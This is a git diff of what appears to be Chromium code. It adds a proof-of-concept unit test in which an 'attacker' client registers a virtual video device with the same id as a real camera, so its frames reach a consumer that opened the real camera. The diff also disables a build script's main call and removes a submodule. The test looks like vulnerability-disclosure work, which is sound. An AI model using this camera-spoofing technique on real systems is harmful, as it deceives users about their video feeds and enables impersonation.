diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/services/video_capture/test/video_capture_service_unittest.cc b/services/video_capture/test/video_capture_service_unittest.cc index 66110d17d7388..6369cca51f754 100644 --- a/services/video_capture/test/video_capture_service_unittest.cc +++ b/services/video_capture/test/video_capture_service_unittest.cc @@ -2,6 +2,7 @@ // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. +#include "base/functional/bind.h" #include "base/memory/ref_counted.h" #include "base/run_loop.h" #include "base/test/mock_callback.h" @@ -231,4 +232,166 @@ TEST_F(VideoCaptureServiceTest, CreateDeviceSuccessForVirtualDevice) { wait_loop.Run(); } +// Demonstrates that a second VideoSourceProvider client (e.g. an external +// daemon connected via ConnectToVideoSourceProvider) can register a virtual +// device whose device_id collides with an existing real device. When the +// browser-side consumer subsequently opens that device_id via the normal +// GetVideoSource/CreatePushSubscription path, the virtual adapter is returned +// instead of the real device, and frames pushed by the second client are +// delivered to the consumer. +TEST_F(VideoCaptureServiceTest, + VirtualDeviceCanShadowRealDeviceByCollidingId) { + // --------------------------------------------------------------------------- + // (A) Second connection to the singleton video-capture service. In production + // on ChromeOS this is the connection handed to the rtanalytics daemon by + // MediaPerceptionAPIDelegateChromeOS::BindVideoSourceProvider(). + // --------------------------------------------------------------------------- + mojo::Remote attacker_provider; + service_remote_->ConnectToVideoSourceProvider( + attacker_provider.BindNewPipeAndPassReceiver()); + + // (B) Attacker enumerates the real devices and learns a real device_id. + std::string real_device_id; + { + base::RunLoop loop; + attacker_provider->GetSourceInfos(base::BindOnce( + [](std::string* out, base::OnceClosure quit, GetSourceInfosResult, + const std::vector& infos) { + ASSERT_FALSE(infos.empty()); + *out = infos[0].descriptor.device_id; + std::move(quit).Run(); + }, + &real_device_id, loop.QuitClosure())); + loop.Run(); + } + ASSERT_FALSE(real_device_id.empty()); + fprintf(stderr, "[POC] Real device id learned by attacker: %s\n", + real_device_id.c_str()); + + // (C) Attacker registers a SharedMemoryVirtualDevice with the *same* + // device_id. VirtualDeviceEnabledDeviceFactory::AddSharedMemoryVirtualDevice + // performs no collision check against the inner real-device factory. + media::VideoCaptureDeviceInfo spoof_info; + spoof_info.descriptor.device_id = real_device_id; + spoof_info.descriptor.set_display_name("Spoofed Camera"); + spoof_info.supported_formats = { + {gfx::Size(640, 480), 30.0, media::PIXEL_FORMAT_I420}}; + mojo::PendingRemote producer_remote; + MockProducer attacker_producer( + producer_remote.InitWithNewPipeAndPassReceiver()); + ON_CALL(attacker_producer, DoOnNewBuffer(_, _, _)) + .WillByDefault([](int32_t, media::mojom::VideoBufferHandlePtr*, + mojom::Producer::OnNewBufferCallback& cb) { + std::move(cb).Run(); + }); + mojo::Remote attacker_vd; + attacker_provider->AddSharedMemoryVirtualDevice( + spoof_info, std::move(producer_remote), + attacker_vd.BindNewPipeAndPassReceiver()); + attacker_provider.FlushForTesting(); + + // (D) GetSourceInfos now reports the colliding id twice (no de-dup in + // VirtualDeviceEnabledDeviceFactory::OnGetDeviceInfos). + { + base::RunLoop loop; + video_source_provider_->GetSourceInfos(base::BindOnce( + [](const std::string& id, base::OnceClosure quit, GetSourceInfosResult, + const std::vector& infos) { + int matches = 0; + for (const auto& i : infos) { + if (i.descriptor.device_id == id) { + ++matches; + } + } + fprintf(stderr, + "[POC] GetSourceInfos returned %zu entries; id '%s' appears " + "%d times\n", + infos.size(), id.c_str(), matches); + EXPECT_EQ(2, matches); + std::move(quit).Run(); + }, + real_device_id, loop.QuitClosure())); + loop.Run(); + } + + // --------------------------------------------------------------------------- + // (E) The legitimate browser-side consumer asks for the *real* device. + // This is the path ServiceVideoCaptureDeviceLauncher uses for getUserMedia. + // VirtualDeviceEnabledDeviceFactory::CreateDevice() checks the virtual map + // first and returns the attacker's adapter instead of the real camera. + // --------------------------------------------------------------------------- + mojo::PendingRemote consumer_handler; + MockVideoFrameHandler consumer( + consumer_handler.InitWithNewPipeAndPassReceiver()); + mojo::Remote source; + mojo::Remote sub; + + video_source_provider_->GetVideoSource(real_device_id, + source.BindNewPipeAndPassReceiver()); + { + base::RunLoop loop; + source->CreatePushSubscription( + std::move(consumer_handler), requestable_settings_, + /*force_reopen_with_new_settings=*/false, + sub.BindNewPipeAndPassReceiver(), + base::BindOnce( + [](base::OnceClosure quit, + mojom::CreatePushSubscriptionResultCodePtr code, + const media::VideoCaptureParams&) { + EXPECT_TRUE(code->is_success_code()); + std::move(quit).Run(); + }, + loop.QuitClosure())); + loop.Run(); + } + sub->Activate(); + sub.FlushForTesting(); + base::RunLoop().RunUntilIdle(); + + // (F) Attacker requests a buffer and pushes a frame with a distinctive + // coded_size. Because the consumer is wired to the virtual adapter via the + // BroadcastingReceiver, the consumer receives the attacker's frame. + const gfx::Size kAttackerFrameSize(8, 8); + int32_t attacker_buffer_id = -1; + { + base::RunLoop loop; + attacker_vd->RequestFrameBuffer( + kAttackerFrameSize, media::PIXEL_FORMAT_I420, nullptr, + base::BindOnce( + [](int32_t* out, base::OnceClosure quit, int32_t id) { + *out = id; + std::move(quit).Run(); + }, + &attacker_buffer_id, loop.QuitClosure())); + loop.Run(); + } + ASSERT_NE(-1, attacker_buffer_id); + + bool got_attacker_frame = false; + base::RunLoop frame_loop; + EXPECT_CALL(consumer, DoOnFrameReadyInBuffer(_, _, _)) + .WillOnce([&](int32_t, int32_t, media::mojom::VideoFrameInfoPtr* info) { + EXPECT_EQ(kAttackerFrameSize, (*info)->coded_size); + fprintf(stderr, + "[POC] Consumer that opened real device id '%s' received " + "attacker frame (coded_size=%dx%d)\n", + real_device_id.c_str(), (*info)->coded_size.width(), + (*info)->coded_size.height()); + got_attacker_frame = true; + frame_loop.Quit(); + }); + + auto frame_info = media::mojom::VideoFrameInfo::New(); + frame_info->pixel_format = media::PIXEL_FORMAT_I420; + frame_info->coded_size = kAttackerFrameSize; + frame_info->visible_rect = gfx::Rect(kAttackerFrameSize); + frame_info->color_space = gfx::ColorSpace(); + attacker_vd->OnFrameReadyInBuffer(attacker_buffer_id, std::move(frame_info)); + frame_loop.Run(); + + EXPECT_TRUE(got_attacker_frame) + << "Attacker virtual device shadowing the real camera id did not " + "deliver a frame to the consumer."; +} + } // namespace video_capture diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b